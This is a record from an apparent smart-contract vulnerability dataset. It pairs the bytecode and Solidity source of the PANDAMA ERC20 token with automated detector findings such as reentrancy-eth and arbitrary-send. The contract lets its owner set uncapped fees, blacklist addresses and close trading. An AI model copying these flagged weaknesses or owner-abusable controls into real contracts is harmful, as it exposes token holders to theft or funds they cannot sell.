0612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1e6f717f176ad9b3509b45af6d825cfc4c0ec4333a2df4ccdd1b433a1c731b064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,642 |
0xa008677a33ebd3003402eb81f24cee36983b5d15 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PANDAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PANDAMA";
string private constant _symbol = "PANDAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb74c685261A266Be655D6E0b96833Aa3981E1B33);
address payable private _marketingAddress = payable(0xb74c685261A266Be655D6E0b96833Aa3981E1B33);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 5000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611929565b6105c7565b005b34801561020a57600080fd5b50604080518082018252600781526650414e44414d4160c81b6020820152905161023491906119ee565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a43565b610666565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b5066038d7ea4c680005b604051908152602001610234565b3480156102d557600080fd5b5061025d6102e4366004611a6f565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610234565b34801561032757600080fd5b5060155461028d906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab0565b6106e6565b34801561036757600080fd5b506101fc610376366004611add565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab0565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611af8565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab0565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028d565b34801561045257600080fd5b506101fc610461366004611add565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611af8565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b11565b610900565b3480156104c857600080fd5b5061025d6104d7366004611a43565b61093e565b3480156104e857600080fd5b5061025d6104f7366004611ab0565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b43565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bc7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611af8565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab0565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c00565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c61565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c00565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c00565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c00565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c00565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c00565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c00565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c00565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c00565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c35565b9050602002016020810190610a009190611ab0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c61565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c00565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c00565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c7c565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119ee565b5060006111ea8486611c94565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c35565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cab565b8160018151811061139857611398611c35565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cc8565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611630565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d8761165e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116fd565b